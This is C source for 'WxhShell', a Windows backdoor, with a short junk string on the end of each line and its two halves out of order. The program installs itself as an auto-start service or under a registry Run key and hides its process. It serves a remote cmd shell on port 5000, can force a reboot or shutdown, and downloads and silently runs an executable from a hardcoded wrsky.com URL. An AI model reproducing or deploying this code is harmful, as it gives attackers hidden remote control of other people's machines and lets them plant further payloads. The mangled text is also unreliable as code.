    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^_=bssaOd  
    else { )SaMfP1=v  
    closesocket(wsh); =|V#~p*  
    ExitThread(0); Om8Sgy?  
    } 3[R[ `l]v?  
    break; Ibv`/8xh  
    } p3IhK>  
  // 获取shell )|&FBz;  
  case 's': { Q*9Y.W.8  
    CmdShell(wsh); ?{1& J9H  
    closesocket(wsh); c`UizZ  
    ExitThread(0); =_$Hn>vO  
    break; dp }zG+  
  } q3u:Tpn4%  
  // 退出 k P=~L=cK  
  case 'x': { `cFNO:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g9F?j  
    CloseIt(wsh); FY,)iZ}Pq  
    break; 6^,;^   
    } FD8d-G  
  // 离开 gS!zaD7Nr  
  case 'q': { QRdh2YH`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MVDy|i4  
    closesocket(wsh); X(;W Y^i!  
    WSACleanup(); <@>l9_=R  
    exit(1); }4q1"iMlO  
    break; N3\vd_D(  
        } vSo,,~ F  
  } nz/cs n  
  } nR,QqIFFw  
g7v(g?  
  // 提示信息 (J.U{N v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sj<]~*y"  
} b%xG^jUXsX  
  } }u;`k'J@  
GjX6noqT  
  return; cJ'OqV F  
} )D7/[zb^  
@lCyH(c%  
// shell模块句柄 %vRCs]  
int CmdShell(SOCKET sock) TV?MB(mN  
{ ey`E E/WV  
STARTUPINFO si; ;y-sd?pAk  
ZeroMemory(&si,sizeof(si)); |0VZ1{=*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +-Z `v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Bh65qHQO  
PROCESS_INFORMATION ProcessInfo; E_#?;l>  
char cmdline[]="cmd"; ]}9[ys  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^K:-r !v^  
  return 0; ,-SWrp`f  
} Lwo9s)j<e  
7DWGYvv[  
// 自身启动模式 Bk/&H-NI  
int StartFromService(void) 3qy4nPg  
{ 3]pHc)p!.  
typedef struct [G"Va_A8  
{ mpd?F 'V  
  DWORD ExitStatus; e. R9:  
  DWORD PebBaseAddress; uP^u:'VjbH  
  DWORD AffinityMask; cT nC  
  DWORD BasePriority; lLS7K8;4W  
  ULONG UniqueProcessId; a: F\4x=  
  ULONG InheritedFromUniqueProcessId; !iW> xo  
}   PROCESS_BASIC_INFORMATION; 8Y/1+-  
%m-U:H.Vp  
PROCNTQSIP NtQueryInformationProcess; y N,grU(  
HmbQL2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dEZlJo@J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XmN8S_M>v  
;KT5qiqYH  
  HANDLE             hProcess; wv ^n#  
  PROCESS_BASIC_INFORMATION pbi; ~,.;2K73  
#g<6ISuf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k&17 (Tv$  
  if(NULL == hInst ) return 0; P[tYu:  
TrBW0Bn>p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U|x#'jGo'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [gj>ey8T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @]Lu"h#u=  
mB"1QtD  
  if (!NtQueryInformationProcess) return 0; 1o?uf,H7O  
;*WG9Y(W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -! ^D8^s  
  if(!hProcess) return 0; rl]K :8*  
Y} 6@ w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5t-, 5  
\jx3Fs:Q  
  CloseHandle(hProcess); mp z3o\n  
~JO.h$1C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <jBRUa[j_  
if(hProcess==NULL) return 0; @4n>I+6*&  
Z}.ZTEB  
HMODULE hMod; Z{1B:aW  
char procName[255]; 9+3 VK  
unsigned long cbNeeded; aa{+,(  
%^[D+1ULb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); my#\(E+  
G=|~SYz  
  CloseHandle(hProcess); oXU b_/  
L+}<gQJ(  
if(strstr(procName,"services")) return 1; // 以服务启动 LL==2KNUo  
w/*m_O\!  
  return 0; // 注册表启动 5GGO:  
} 1x%B`d  
UqNUX?(  
// 主模块 n}c~+ 0`un  
int StartWxhshell(LPSTR lpCmdLine) bAwKmk9C  
{ egVKAR-  
  SOCKET wsl; 8[D"  
BOOL val=TRUE; qw{`?1[+  
  int port=0; x_r*<?OZ  
  struct sockaddr_in door; hw(\3h()  
B<0Kl.V  
  if(wscfg.ws_autoins) Install(); Sb(OG 6  
h}kJ,n  
port=atoi(lpCmdLine); -gUp/ #l1  
F~eY'~&H}  
if(port<=0) port=wscfg.ws_port; -+0kay%  
$m A2 AI  
  WSADATA data; RGrQ>'RL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b`@J"E}  
7VL|\^Y`q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   na"!"C s3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T"<)B^8f  
  door.sin_family = AF_INET; [bRE=Zr$Ry  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Kxg@(Q  
  door.sin_port = htons(port); J_?v=dW`  
:Qh rh(i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b'Km-'MtH  
closesocket(wsl); 5JHEBw5W%  
return 1; y G3aF(  
} B{*{9!(l9  
Gr#3GvL  
  if(listen(wsl,2) == INVALID_SOCKET) { u@CQ+pnf:(  
closesocket(wsl); lqKj;'  
return 1; !-%XrU8o3  
} " m13HS  
  Wxhshell(wsl); keFH CC  
  WSACleanup(); 2t PfIg  
h9/fD5  
return 0; "%p7ft  
T^(> 8/O  
} L#zD4L  
9bspf {  
// 以NT服务方式启动 2TNK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s^K2,D]P  
{ -$DfnAh  
DWORD   status = 0; 1GqSY|FSGp  
  DWORD   specificError = 0xfffffff; Ka_;~LS>(  
Fk^N7EJ:$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *UJ4\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }>d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }}i'8  
  serviceStatus.dwWin32ExitCode     = 0; G]4Ca5;Z!N  
  serviceStatus.dwServiceSpecificExitCode = 0; m(*rMO>_  
  serviceStatus.dwCheckPoint       = 0; o]RZd--c<  
  serviceStatus.dwWaitHint       = 0; b $J S|  
@Z2np{X:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gx6%Z$2n  
  if (hServiceStatusHandle==0) return; zRou~Kxi  
gdA2u;q  
status = GetLastError(); =/`]lY&  
  if (status!=NO_ERROR) oeB'{bG  
{ Fxc_s/^=t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D}LM(s3li7  
    serviceStatus.dwCheckPoint       = 0; OF+4Mq  
    serviceStatus.dwWaitHint       = 0; n\3#69VY  
    serviceStatus.dwWin32ExitCode     = status; J=t}9.H~=  
    serviceStatus.dwServiceSpecificExitCode = specificError; }ML2-k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &lLfVa-l  
    return; U||GeEd  
  } `;J`O02  
c!/ +0[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X6r0+D5AvB  
  serviceStatus.dwCheckPoint       = 0; !ltq@8#_|  
  serviceStatus.dwWaitHint       = 0; fBj)HoHQW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >36,lNt  
} N+@ Ff3M  
6-fv<Pn  
// 处理NT服务事件,比如:启动、停止 R$8{f:Pj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yDwh]t  
{ WFh.oe8  
switch(fdwControl) 6#!CBY^{  
{ $`55 E(  
case SERVICE_CONTROL_STOP: _p*8ke  
  serviceStatus.dwWin32ExitCode = 0; 6{Q-]LOc[.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [&PF ;)i  
  serviceStatus.dwCheckPoint   = 0; kM{8zpn  
  serviceStatus.dwWaitHint     = 0; bXOKC  
  { dpw-a4o}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 66,(yxg  
  } fg3Jv*  
  return; c|;n)as9(%  
case SERVICE_CONTROL_PAUSE: .8u@/f%pV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #Uu,yHMv:;  
  break; W>C?a=r~  
case SERVICE_CONTROL_CONTINUE: |w}j!}u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dN)8r  
  break; T7.Iqw3p  
case SERVICE_CONTROL_INTERROGATE: @$ Zh^+x!  
  break; Z17b=x Jw  
}; BZ1wE1t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y~8 5Z0l  
} gS5MoW1  
_ERtL5^  
// 标准应用程序主函数 G<n75!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M|mfkIk0MB  
{ ]}XDDPbZ}  
$Gv@lZ@=  
// 获取操作系统版本 >kK@tJn  
OsIsNt=GetOsVer(); ZBK0`7#&EH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H3<tsK=:  
i7XY3yhC  
  // 从命令行安装 YWl#!"-  
  if(strpbrk(lpCmdLine,"iI")) Install(); lAP k/G  
U?le|tK  
  // 下载执行文件 -smN}*3[  
if(wscfg.ws_downexe) { 0Eb4wupo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mn?F;= qE  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3ai[ r  
} `\62 iUN  
qBX_v5pvVA  
if(!OsIsNt) { '-YiV  
// 如果时win9x,隐藏进程并且设置为注册表启动 'E3T fM  
HideProc(); 1vj@ qw3  
StartWxhshell(lpCmdLine); 4d5c ]%  
} aC\f;&P >  
else z&amYwQcI  
  if(StartFromService()) 9 A ?{}c  
  // 以服务方式启动 =wdh# {  
  StartServiceCtrlDispatcher(DispatchTable); t.28IHJ  
else U 5J _Y  
  // 普通方式启动 LJ/He[r|[  
  StartWxhshell(lpCmdLine); S3ooG14Ls  
$h{m")]  
return 0; ES&u*X:  
} (4cdkL  
.Rk8qRB  
LBCH7@V1yR  
>nghFm  
=========================================== S@HC$  
:}zyd;Rc  
|NZi2Bu  
v"o"W[  
\mc0fY  
>0{}tRm-P&  
" FtIcA"^N  
U.Mfu9}#:  
#include <stdio.h> )OV0YfO   
#include <string.h> [! $N Tt_  
#include <windows.h> Y7}Tuy dC  
#include <winsock2.h> 7z4k5d<^_  
#include <winsvc.h> o{sv<$  
#include <urlmon.h> xR0T' @q  
eut2x7Z(c  
#pragma comment (lib, "Ws2_32.lib") iQgg[ )  
#pragma comment (lib, "urlmon.lib") 8@m$(I +  
`s CwgY+  
#define MAX_USER   100 // 最大客户端连接数 UPuoIfuqI  
#define BUF_SOCK   200 // sock buffer "#r)NYq`"|  
#define KEY_BUFF   255 // 输入 buffer u;_h%z5K  
S\).0goOW  
#define REBOOT     0   // 重启 1y'Y+1.<  
#define SHUTDOWN   1   // 关机 e Wux  
^~YT<cJ1h  
#define DEF_PORT   5000 // 监听端口 wsWFD xR  
(?r,pAc:  
#define REG_LEN     16   // 注册表键长度 SV>tw`2  
#define SVC_LEN     80   // NT服务名长度 =9jK\ T^  
O:wG/et  
// 从dll定义API &>-j4,M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q M0B6F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |:1{B1sqA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .xsfq*3e5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N;g@lyo  
^?VQ$o2  
// wxhshell配置信息 <=*f  
struct WSCFG { Gaix6@X6'  
  int ws_port;         // 监听端口 @Dh2@2`>  
  char ws_passstr[REG_LEN]; // 口令 kXSX<b<%  
  int ws_autoins;       // 安装标记, 1=yes 0=no uAn}qrqE9  
  char ws_regname[REG_LEN]; // 注册表键名 5daq}hsQs  
  char ws_svcname[REG_LEN]; // 服务名 ]c/E7|0Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2FIL@f|\7z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y/Xs+ {x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 al9wNtMT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q1,sjLO-a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YExgUE|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l^lb ^"o  
M|*YeVs9#  
}; XIdh9)]^}  
32YbBGDN!f  
// default Wxhshell configuration [s( D==8  
struct WSCFG wscfg={DEF_PORT, K;R H,o1  
    "xuhuanlingzhe", l[/`kK  
    1, dkC[SG`  
    "Wxhshell", cV+?j}"*+  
    "Wxhshell", L^sjV/\oW  
            "WxhShell Service", &jP1Q3  
    "Wrsky Windows CmdShell Service", cpQ5F;FI  
    "Please Input Your Password: ", h[mT4 e3c  
  1, xLW$>;kI  
  "http://www.wrsky.com/wxhshell.exe", R/+$ :  
  "Wxhshell.exe" v-1}&K  
    }; R=z])  
9d drtJ]  
// 消息定义模块 )E}v~GW.+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =>$)F 4LW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]||b2[*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ))"gWO  
char *msg_ws_ext="\n\rExit."; KNVu[P)rv  
char *msg_ws_end="\n\rQuit."; %_OjmXOfe  
char *msg_ws_boot="\n\rReboot..."; ^#Ii=K-[^  
char *msg_ws_poff="\n\rShutdown..."; <u64)8'  
char *msg_ws_down="\n\rSave to "; T }#iXgyx  
Hb)FeGsd).  
char *msg_ws_err="\n\rErr!"; w' 7sh5  
char *msg_ws_ok="\n\rOK!"; c7e,lgG-  
@Vm*b@  
char ExeFile[MAX_PATH]; AFrJzh:V[  
int nUser = 0; xlI =)ak{  
HANDLE handles[MAX_USER]; PF%-fbh!~  
int OsIsNt; Ir9GgB  
[4z,hob  
SERVICE_STATUS       serviceStatus; yb`PMjj15  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R_!.vGhkN  
$YSXE :  
// 函数声明 jeC=s~  
int Install(void); c[h~=0UtJ  
int Uninstall(void); 6mM9p)"$  
int DownloadFile(char *sURL, SOCKET wsh); @5>#<LV=E#  
int Boot(int flag); cLtVj2Wb  
void HideProc(void); /LD3Bb)O  
int GetOsVer(void); t3;Zx+Br  
int Wxhshell(SOCKET wsl); }%|ewy9|CW  
void TalkWithClient(void *cs); J&xZN8jW   
int CmdShell(SOCKET sock); .GrOdDK$ns  
int StartFromService(void); `/8@Fj  
int StartWxhshell(LPSTR lpCmdLine); Un6R)MVT  
2JfSi2T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n7Ao.b%uk-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SMN.AJ J  
KgL!~J  
// 数据结构和表定义 q/i2o[f'n  
SERVICE_TABLE_ENTRY DispatchTable[] = b($hp%+yJ  
{ -#v~;Ci  
{wscfg.ws_svcname, NTServiceMain}, V b0T)C  
{NULL, NULL} y9:4n1fg  
}; Tgdy;?  
-k'<6op  
// 自我安装 G@8)3 @  
int Install(void) y4^u&0}0$  
{ G3.aw  
  char svExeFile[MAX_PATH]; `w@:h4f  
  HKEY key; /"{d2  
  strcpy(svExeFile,ExeFile); rAenx Z,tF  
mWp>E`l  
// 如果是win9x系统,修改注册表设为自启动 86ao{l6lC  
if(!OsIsNt) {  .U1wVIM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P'W} ]mCD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ln+l'&_nb  
  RegCloseKey(key); wI.aV>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S=UuEmU5N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^? fOccfQ{  
  RegCloseKey(key); uFkl^2  
  return 0; (@?mm  
    } Rlq7.2cP  
  } |L2>|4  
} F? #3  
else { DHO]RRGV  
Blpk n1  
// 如果是NT以上系统,安装为系统服务 xT HD_?d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /3b *dsYsl  
if (schSCManager!=0) +}:Z9AAMy  
{ S$mv(C  
  SC_HANDLE schService = CreateService !=[Y yh  
  ( q}{E![ZTu  
  schSCManager, ) c@gRb~  
  wscfg.ws_svcname, 8D*7{Q  
  wscfg.ws_svcdisp, 1 .3#PdMR,  
  SERVICE_ALL_ACCESS, q W(@p`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M:+CW;||!  
  SERVICE_AUTO_START, ,-UF5U  
  SERVICE_ERROR_NORMAL, KOcB#UHJ  
  svExeFile, H/,KY/>i  
  NULL, eaw!5]huu  
  NULL, ^m\o(R  
  NULL, Kd\0nf6  
  NULL, 1/DtF  
  NULL &.A_d+K&  
  ); wi2`5G6|z  
  if (schService!=0) ^z?b6kTC  
  { !cW rB9  
  CloseServiceHandle(schService); vrs  
  CloseServiceHandle(schSCManager); v:O{"s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '/\  
  strcat(svExeFile,wscfg.ws_svcname); `+H=3`}X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }lZEdF9GhG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GBJL B  
  RegCloseKey(key); cO?*(e1m=  
  return 0; 74%vNKzc~  
    } ~1G^IZ6  
  } ptCF))Zm'  
  CloseServiceHandle(schSCManager); egoR])2>  
} "{0G,tdA  
} Ot=>~(u0  
.3 EZk86  
return 1; ,KY;NbL-Jp  
} k8gH#ENNK  
&#p1ogf:  
// 自我卸载 s^k G]7  
int Uninstall(void) QoD_`d  
{ J/1kJ@5  
  HKEY key; ]H1mj#EWU  
>M<3!?fW)  
if(!OsIsNt) { u~uzKG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +B ?qx Q  
  RegDeleteValue(key,wscfg.ws_regname); g"-j/ c   
  RegCloseKey(key); K@.5   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cfi{%,em  
  RegDeleteValue(key,wscfg.ws_regname); Jh"[ug  
  RegCloseKey(key); !3b& S4  
  return 0; :.:^\Q0  
  } oW^b,{~V  
} -#\T  
} 1/dL-"*0  
else { 8Km&3nCv$Q  
Gek?+|m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L%/RD2L D  
if (schSCManager!=0) L8 P0bNi  
{ LuS@Kf8N+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bZowc {!\  
  if (schService!=0) *xnZTj:  
  { SmXoNiM"y  
  if(DeleteService(schService)!=0) { F`D$bE;|  
  CloseServiceHandle(schService); h:Pfiw]  
  CloseServiceHandle(schSCManager); N/ a4Gl(  
  return 0; |Ajd$+3  
  } J;4x$BI  
  CloseServiceHandle(schService); UP]( 1lAf  
  } % km <+F=~  
  CloseServiceHandle(schSCManager); Mh%{cLM  
} mWviWHK  
} *i"9D:  
xm m,- u  
return 1; o/AG9|()4  
} ~j!n`#.\  
i"Jy>'  
// 从指定url下载文件 P\"kr?jZP  
int DownloadFile(char *sURL, SOCKET wsh) T?3Q<[SmI  
{ J=A)]YE  
  HRESULT hr; [S6u:;7  
char seps[]= "/"; fUw:jE xz  
char *token; }?[];FB  
char *file; gM96RY  
char myURL[MAX_PATH]; NaR} 0  
char myFILE[MAX_PATH]; t{})6  
,,H5zmgA  
strcpy(myURL,sURL); VDxm|7  
  token=strtok(myURL,seps); k1Y\g'1  
  while(token!=NULL) M;A_'h?Z  
  { 9< mMU:  
    file=token; Wn<?_}sa|z  
  token=strtok(NULL,seps); A7 RI&g v5  
  } *HrEh;3^J  
}*x1e_m}H  
GetCurrentDirectory(MAX_PATH,myFILE); QqM[W/&R  
strcat(myFILE, "\\"); N*gJu  
strcat(myFILE, file); I~7iIUD  
  send(wsh,myFILE,strlen(myFILE),0); 'F W?   
send(wsh,"...",3,0); f3UCELJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KhjC'CU,  
  if(hr==S_OK) @IG's-  
return 0; !)a_@d.;i  
else )fJ"Hq  
return 1; Du_5iuMh  
fJFNS y  
} TXImmkC  
MlV(XG>'  
// 系统电源模块 .n\JY;"  
int Boot(int flag) xe@e#9N$  
{ @eYpARF  
  HANDLE hToken; #:6-O  
  TOKEN_PRIVILEGES tkp; 7Ae`>5B#  
X,Ql6uO  
  if(OsIsNt) { 9p_?t'&>q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @a8lF$<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Tm" H9  
    tkp.PrivilegeCount = 1; oidZWy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Jm_)}dj3o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4 \z@Evm  
if(flag==REBOOT) { IO)Y0J>x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qd a 2  
  return 0; ebA:Sq:w  
} dIC\U  
else { F5?S8=i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :8b'HhjM  
  return 0; #Y5k/NPg  
} o U=vl!\J  
  } Y"FV#<9@7E  
  else { /pMOinuO  
if(flag==REBOOT) { 66val"^W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;yNc 7Vl  
  return 0; ztVTXI%Kz  
} 1EU4/6!C  
else { [CQR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /A9RmTb  
  return 0; SVU>q:ab  
} joY7Vk!<o  
} k9k39`t  
7uR;S:WX  
return 1; Y j oe|  
} <Km9Mq  
4  OPY  
// win9x进程隐藏模块 *'((_ NZ>  
void HideProc(void) m CO1,?  
{ ox-m)z `7  
P~ObxY|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aUw-P{zp%  
  if ( hKernel != NULL ) "L3mW=!*  
  { LS~at.3zX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g Wtc3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '| i?-(f)  
    FreeLibrary(hKernel); ,`t+X=#  
  } [c{\el9H  
FL{Uz+Q  
return; /A{ Zf'DI  
} x2!R&q8U>  
K P]ar.  
// 获取操作系统版本 hYoUZ'4  
int GetOsVer(void) jOGdq;|  
{ kmC@\xTp  
  OSVERSIONINFO winfo; B4.: 9Od3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;UQza ]i  
  GetVersionEx(&winfo); svpQ.Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H<d~AurX)J  
  return 1; 7d;|?R-8D  
  else HzTmNm)  
  return 0; ,AnD%#o  
} 6b|<$Je9  
K6DN>0sY  
// 客户端句柄模块 5Zq hyv=  
int Wxhshell(SOCKET wsl)  l<6G Z  
{ >.meecE?Q  
  SOCKET wsh; B=0^Rysg  
  struct sockaddr_in client; Ge?Wm q>  
  DWORD myID; I=dG(?#7%  
[=K lDfU=  
  while(nUser<MAX_USER) I?rB7 *:  
{  [ <X%  
  int nSize=sizeof(client); A.>mk598  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cx[^D,usf~  
  if(wsh==INVALID_SOCKET) return 1; [ U:C62oK,  
JL6$7h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4>,X.|9{  
if(handles[nUser]==0) GD4S/fn3  
  closesocket(wsh); NW1Jr/  
else o=Vs)8W  
  nUser++; &jJu=6 U B  
  } t6"%u3W8M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C:B7%<  
KlT:&1SB9  
  return 0; `nF SJlr&  
} 7ws<' d7/  
a{`hAI${  
// 关闭 socket ~HmH#"VP  
void CloseIt(SOCKET wsh) 2>o[  
{ *2h%dT:,%  
closesocket(wsh); G4(R/<J,BQ  
nUser--; ?Bf>G]zx  
ExitThread(0); Yc[umn^K  
} 3RaduN]  
AR [m+E  
// 客户端请求句柄 u`'" =Y_E  
void TalkWithClient(void *cs) E0ED[d,  
{ 9,?~dx  
WE\TUENac(  
  SOCKET wsh=(SOCKET)cs; I[?\ Or  
  char pwd[SVC_LEN]; nXT`7  
  char cmd[KEY_BUFF]; yXU.PSG*  
char chr[1]; nQc,^A)I  
int i,j; +4 k=Y  
4Fg2/O_3  
  while (nUser < MAX_USER) { x*1wsA  
z$J m1l  
if(wscfg.ws_passstr) { YY;<y%:8Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N`W[Q>n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kyHli~Nr"  
  //ZeroMemory(pwd,KEY_BUFF); ` @QZK0Ox  
      i=0; e?W ,D0h  
  while(i<SVC_LEN) { M`Q$-#E:  
9tHK_),9  
  // 设置超时 ^`cv6;)  
  fd_set FdRead; ~$y"Ldrp  
  struct timeval TimeOut; @;egnXxF<  
  FD_ZERO(&FdRead); sa'1hX^@  
  FD_SET(wsh,&FdRead); ?oYO !  
  TimeOut.tv_sec=8; IAO5li3  
  TimeOut.tv_usec=0; 5_(\Cd<#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `vBBJ@f4)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Wj.t4XG!  
QXb2jWz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z!g6uV+.5  
  pwd=chr[0]; bB$f=W!m%  
  if(chr[0]==0xd || chr[0]==0xa) { l|.}>SfL^u  
  pwd=0; UyRy>:n  
  break; lsax.uG5x  
  } ?F05BS#)X  
  i++; 7eCj p  
    } O h@z<1eYZ  
h`6 (Oo|  
  // 如果是非法用户,关闭 socket u IXA{89  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )Q=u[ p  
} _*AI1/>`  
%Xh}{o$G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j:%,lcF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cy^=!EfA  
}2]|*?1,  
while(1) { =F@ +~)_  
*H/>96  
  ZeroMemory(cmd,KEY_BUFF); 'x%gJi#  
=E2 a#Vd  
      // 自动支持客户端 telnet标准   FtTq*[a  
  j=0; xUn"XkhP  
  while(j<KEY_BUFF) { 9Jwd*gevV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vbmt0df  
  cmd[j]=chr[0]; &. =8Q?  
  if(chr[0]==0xa || chr[0]==0xd) { > 'R{,1# U  
  cmd[j]=0; 7n5gXiI"  
  break; "}3sL#|z  
  } PSJj$bt;<+  
  j++; &@6xu{o  
    } Ll KO(Q{"  
4 {M   
  // 下载文件 5{HF'1XgZ*  
  if(strstr(cmd,"http://")) { H q6%$!q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UV2W~g  
  if(DownloadFile(cmd,wsh)) }R;}d(C`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dqB,i9--  
  else AGFA;X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 54p{J  
  } ]fajj\  
  else { 0BXr[%{`  
q|ce7HnK  
    switch(cmd[0]) { atZe`0  
